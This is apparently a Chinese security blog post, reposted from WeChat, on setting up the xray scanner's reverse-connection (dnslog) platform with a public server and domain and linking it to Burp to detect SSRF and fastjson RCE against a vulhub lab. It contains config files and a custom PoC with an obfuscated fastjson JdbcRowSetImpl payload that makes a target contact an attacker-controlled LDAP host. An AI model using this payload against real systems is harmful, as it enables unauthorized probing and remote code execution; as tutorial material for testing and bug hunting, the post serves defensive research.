挖到漏洞还好,挖不到多少会有点枯燥;下班时走在路上回想一天做的许多事,又什么都没做;如果有这种感觉就说明你做的大多事是重复的。
笔者准备分享一下比较省心的漏洞自动挖掘方案,他能够解决哪些问题呢?
-
短时间内无法细致做测试
-
消耗大量时间去分析数据
-
到处寻找PoC没有一个成功的
-
固定一套checklist全链路检测
-
挖不到洞,太饿,没钱吃饭
下面分享的是xray方案,有的表哥可能用过,但xray内置反连平台与自定义PoC方案是否也用过?反连平台默认不启用,因为这里面有些配置没有办法自动化,必须由人工配置完成才可使用。需要反连平台才可以检测出来的漏洞包括但不限于:
-
fastjson
-
s2-052
-
xxe 盲打
-
所有依赖反连平台(dnslog)的 poc
一、环境
-
公网服务器 x1
笔者以该公网服务器的IP为例
198.123.123.132
-
域名 x 1
笔者购买到的域名是
l0g.top
二、搭建反连平台
-
前往
DNS管理
中的自定义 DNS Host
设置DNS服务器ns1
与ns2
,IP地址填写公网服务器的IP198.123.123.132
-
前往
DNS管理
中的DNS修改
改为ns1
与ns2
-
前往
域名解析
功能解析设置
中添加2条A记录ns1
与ns2
-
搭建服务端xray,配置
config.yaml
首次运行生成配置文件 config.yaml
下载地址 :https://github.com/chaitin/xray/releases
reverse:
db_file_path: "reverse.db" # 反连平台数据库文件位置, 这是一个 KV 数据库
token: "123" # 反连平台认证的 Token, 独立部署时不能为空
http:
enabled: true
listen_ip: 0.0.0.0
listen_port: "8080"
ip_header: "" # 在哪个 http header 中取 ip,为空代表从 REMOTE_ADDR 中取
dns:
enabled: true
listen_ip: 0.0.0.0
domain: "l0g.top" # DNS 域名配置
is_domain_name_server: false # 是否修改了域名的 ns 为反连平台,如果是,那 nslookup 等就不需要指定 dns 了
resolve: # DNS 静态解析规则
type: A # A, AAAA, TXT 三种
record: ns1
value: 198.123.123.132
ttl: 60
type: A
record: ns2
value: 198.123.123.132
ttl: 60
-
服务器中运行
root@vps:/tmp# ./xray_linux_amd64 reverse
____ ___.________. ____. _____.___.
/ /_ __ / _ __ | |
/ | _ _/ / /_ / | |
/ | | / | ____ |
___/ |____| /____|_ / / _____/
_/ _/ _/ /
Version: 1.8.4/a47961e0/COMMUNITY
[INFO] 2022-04-17 22:42:33 [default:entry.go:213] Loading config file from config.yaml
[INFO] 2022-04-17 22:42:35 [reverse:http_server.go:179] starting reverse http server
[INFO] 2022-04-17 22:42:35 [reverse:reverse.go:169] reverse server base url: http://0.0.0.0:8080, token: 123
[INFO] 2022-04-17 22:42:35 [reverse:reverse.go:170] reverse server webUI: http://0.0.0.0:8080/cland/
[INFO] 2022-04-17 22:42:35 [reverse:reverse.go:179] reverse dns server started
[INFO] 2022-04-17 22:42:35 [reverse:dns_server.go:172] starting reverse dns server
-
服务端搭建成功,可以通过网页访问,并且测试dnslog成功
三、搭建反连客户端
-
和服务端一样,需配置
config.yaml
reverse:
token: "123"
client:
remote_server: true
http_base_url: "http://198.123.123.132:8080"
dns_server_ip: "198.123.123.132"
2. 配置好后运行,与Burp联动
./xray_darwin_amd64 webscan --listen 127.0.0.1:7777 --html-output test.html
四、漏洞扫描测试
SSRF
-
当有流量包函http特征时自动触发xray扫描规则,反连平台dnslog探测到流量请求
fastjson
-
使用docker构建fastjson漏洞环境
下载文件:https://github.com/vulhub/vulhub/blob/master/fastjson/1.2.24-rce/docker-compose.yml
docker-compose up -d
-
config.yaml
中开启插件功能,对fastjson漏洞扫描支持
这里反连服务端、客户端都搭建好了,笔者想对fastjson做漏洞验证测试时,不料在shell启动窗口中看到一条WARN,fastjson 扫描仅高级版才支持;
笔者急中生智使用自定义poc做测试能够达到同样的效果。
plugins:
fastjson:
enabled: true
phantasm: # 自定义poc,【poc-*】命名的文件自动加载
enabled: true
depth: 1
auto_load_poc: true
-
xray根目录下创建
poc-fastjson.yaml
自定义PoC(周末看了一下文档便写了此PoC)
参考官方文档自定义PoC语法 https://docs.xray.cool/#/guide/poc/v2
name: poc-yaml-fastjson
transport: http
set: #全局变量定义
reverse: newReverse()
reverseDomain: reverse.domain
rules:
- method: POST
path: "/"
headers:
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
body: |
{
"b":{
"@tyu0070e": "Lcx6Fm.sun.ru006Fwseu0074.u004Ax64bcRowu0053ex74Impl;",
"dataSourceName":"ldap://{{reverseDomain}}l0g.top",
"autoCommit":true
}
}
expression: |
reverse.wait(3)
-
Burp请求测试,xray客户端成功发现反连平台接收流量,并报告了fastjson漏洞
五、踩坑点
-
服务器部署反连平台场景要求客户端和服务端使用的版本相同,否则可能出现协议不一致导致失败的情况。
-
fastjson 扫描仅高级版才支持,所以没有氪金的表哥需要自行编写
欢迎大家关注、转发、留言吵架
往期回顾
Spring4Shell复现从0到1 - CVE-2022-22965
原文始发于微信公众号(深空安全):自动挖掘SSRF和RCE漏洞?我做到了
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论